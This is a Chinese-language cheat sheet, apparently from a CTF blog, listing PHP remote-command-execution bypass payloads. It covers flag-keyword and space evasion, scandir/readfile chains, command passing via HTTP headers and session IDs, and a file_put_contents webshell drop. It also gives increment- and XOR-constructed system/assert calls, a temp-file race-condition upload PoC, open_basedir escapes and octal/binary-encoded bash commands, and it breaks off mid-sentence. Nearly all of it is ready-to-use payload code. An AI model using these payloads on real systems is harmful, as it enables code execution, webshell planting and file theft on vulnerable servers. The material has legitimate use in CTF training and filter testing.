PHP 命令执行(RCE)各类绕过技巧汇总,持续更新。
一、关键字绕过
1.1 绕过 flag 关键字
转义符、通配符、引号拼接:
1 2 3 4
| ?c=system('tac fla\g.php'); ?c=system('tac fla*.php'); ?c=system('tac fla?.php'); ?c=system('tac fla''g.php');
|
1.2 绕过空格
1 2 3 4 5 6 7 8 9 10
| cat%09flag.php
cat<>flag
{cat,flag.txt} cat${IFS}flag.php cat$IFS$9flag.php
|
二、无数字/无字符 RCE——拼函数法
当数字被过滤时,利用 PHP 内置函数组合读文件。
2.1 基本组合(需要数字)
1
| show_source(scandir(getcwd())[2]);
|
2.2 无数字读取
1 2 3
| print_r(show_source(next(array_reverse(scandir(getcwd()))))); readfile(next(array_reverse(scandir(getcwd())))); show_source(next(array_reverse(scandir(pos(localeconv())))));
|
2.3 等价函数
| 读文件 |
列目录/输出 |
show_source(即 highlight_file) |
print_r |
readfile |
var_dump |
highlight_file |
var_export |
file_get_contents(需 echo) |
scandir |
file()(需 print_r) |
|
2.4 替代 getcwd() 的方法
1 2
| pos(localeconv()) dirname('FILE')
|
2.5 列目录
1 2
| print_r(scandir(getcwd())); print_r(scandir(next(scandir(getcwd()))));
|
2.6 外带变量
1 2
| c=eval(array_pop(next(get_defined_vars())));&1=system('ls /'); ?c=eval(end(current(get_defined_vars())));&b=phpinfo();
|
array_pop 会删除并返回数组最后一个元素。
2.7 通过 HTTP 头传命令
1 2
| system(getenv(HTTP_X_CMD));
|
三、绕过 /
利用环境变量截取:
四、绕过 system 等函数
4.1 替代函数
1 2 3 4 5 6 7 8 9
| `cat /flag`
exec shell_exec popen proc_open passthru
|
4.2 正则绕过
1
| (systee|systel)('tac /f???');
|
4.3 拼接绕过
1
| ("sys"."tem")("ca"."t /fl"."ag");
|
五、绕过 cat
5.1 替代命令
1
| tac more less sort tail strings nl vi rev
|
5.2 复制/重命名/移动
1 2 3 4
| cp /flag /var/www/html/1.txt cat /flag | tee 1.txt rename /flag 1.txt mv /flag /var/www/html/1.txt
|
六、外带数据
6.1 GET 外带
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| ?c=eval($_GET[1]);&1=system('tac flag.php');
?c=include%0a$_GET[1]?>&1=php:
?c=include$_GET[1]?>&1=data: ?c=include$_GET[1]?>&1=data:
?c=include$_GET[1]?>&1=php:
?c=include$_GET[1]?>&1=php:
$a='<?p'.'hp ev'.'al($_P'.'OST['.'cmd]);?>'; file_put_contents('/var/www/html/cmd.php',$a);
|
include 被 ban 可用 require、include_once、require_once。
6.2 Session 外带
1
| ?c=session_start();system(session_id());
|
然后在请求包中附带 PHPSESSID=ls(注意:这里不解析空格)。
七、无字符 RCE——位运算/自增构造
当字母、数字被大量过滤时,通过位运算(^、|、~)或自增来构造字符串。
7.1 常用符号
7.2 自增法构造 assert($_POST[_])
测试发现 PHP 7.0.12 以上版本不可用,使用时需 URL 编码。
1 2 3 4 5 6 7 8 9 10 11 12 13
| $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $___.=$__; $__=$_;$__++;$__++;$__++;$__++;$___.=$__; $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; $____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__; $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__; $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__; $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__; $_=$$____;$___($_[_]);
|
然后 POST 传入:_=phpinfo();
7.3 绕过 @
1 2 3 4 5
| ctf_show=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]);
ctf_show=$_=(_/_._)['!'==','];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=cat /f*
|
7.4 绕过引号
1 2 3
| ctf_show=$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;$$_[0]($$_[1]); &0=system&1=cat /f*
|
0 和 1 也被 ban 的情况:
1 2 3
| ctf_show=$_=(_/_._)[_];++$_;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]); &_POST=system&_=cat /f*
|
7.5 绕过 /
1 2
| $_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
|
7.6 位运算构造 _GET(无引号)
当引号被过滤时,用异或构造:
1
| ${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
|
%86%86%86%86 ^ %d9%c1%c3%d2 异或后得到 _GET。
八、绕过重定向使命令失效
当输入被重定向捕获导致命令不执行时:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| ||
;
%0a
if(isset($_POST['c'])){ $c = $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }
c=include('/flag.txt');ob_flush(); c=include('/flag.txt');ob_end_flush(); c=include('/flag.txt');exit();/die();
|
九、匹配命令(模糊路径)
1 2 3 4 5
| /???/????64 ????.???
/???/???/????2 ????.???
|
十、临时文件条件竞争
上传文件会被保存在 /tmp/ 下,文件名固定为 php + 6 个随机字符。
HTML POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="https://目标URL/" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
|
POST 的文本内容:
通过 BurpSuite 改 POST 路径为:POST /?c=.%20/???/????????[@-[] HTTP/1.1
[@-[] 用来匹配大写字母和 @ 之间的字符(即匹配 php + 随机字符)。
十一、Linux 算术与环境变量
11.1 数字构造
11.2 环境变量拼接
1
| ${PATH} ${PWD} ${SHELL} ${BASH} ${USER} ${HOME}
|
利用 ${PWD}(当前目录 /var/www/html):
1 2 3 4 5 6 7
| ${PWD} ${#PWD} ${PWD:3} ${PWD:~3} ${PWD:3:1} ${PWD:~3:1} ${PWD:~A}
|
${SHLVL} 表示数字 1:
其他变量:
1 2 3 4 5 6
| ${RANDOM} ${#USER} ${#} ${##} ${#IFS} $?
|
11.3 利用环境变量拼接命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
code=${PWD:${#}:${##}}???${PWD:${#}:${##}}?????${RANDOM} ????.???
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~Q}? ????.???
|
十二、open_basedir 绕过
当限制了访问目录时。
场景代码:
1 2 3 4 5 6 7 8 9 10 11
| error_reporting(0); ini_set('display_errors', 0); if(isset($_POST['c'])){ $c = $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); }
|
12.1 glob 协议列目录
1
| var_export(scandir('glob:///*'));
|
12.2 原生类 DirectoryIterator
1 2 3 4 5
| c=$a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo($f->__toString().' '); } exit(0);
|
读文件配合 WAF 脚本实现。
12.3 改配置逐级跳出
1 2 3 4 5 6 7 8 9 10 11 12 13
| mkdir(yu);chdir(yu); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); var_dump(scandir('/'));
mkdir(yu);chdir(yu); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); readfile('/ctfshowflag');
|
十三、八进制编码 RCE
13.1 基础八进制
在 Linux 中,$'\154\163' 等同于 ls。
限制:后面有参数会报错。
13.2 只用 0 和 1 构造
Linux 中数字的完整表示形式:((进制#对应进制下的值))
1 2 3 4
| echo $((1<<1)) echo $(($((1<<1))#10011010)) echo $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
|
构造 cat /flag(八进制):
1 2
| echo $'\143\141\164\40\57\146\154\141\147' bash<<<$'\143\141\164\40\57\146\154\141\147'
|
完整 payload:
1 2
| $0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
|
13.3 连 0 和 1 都被 ban
用 $(=1)和 `$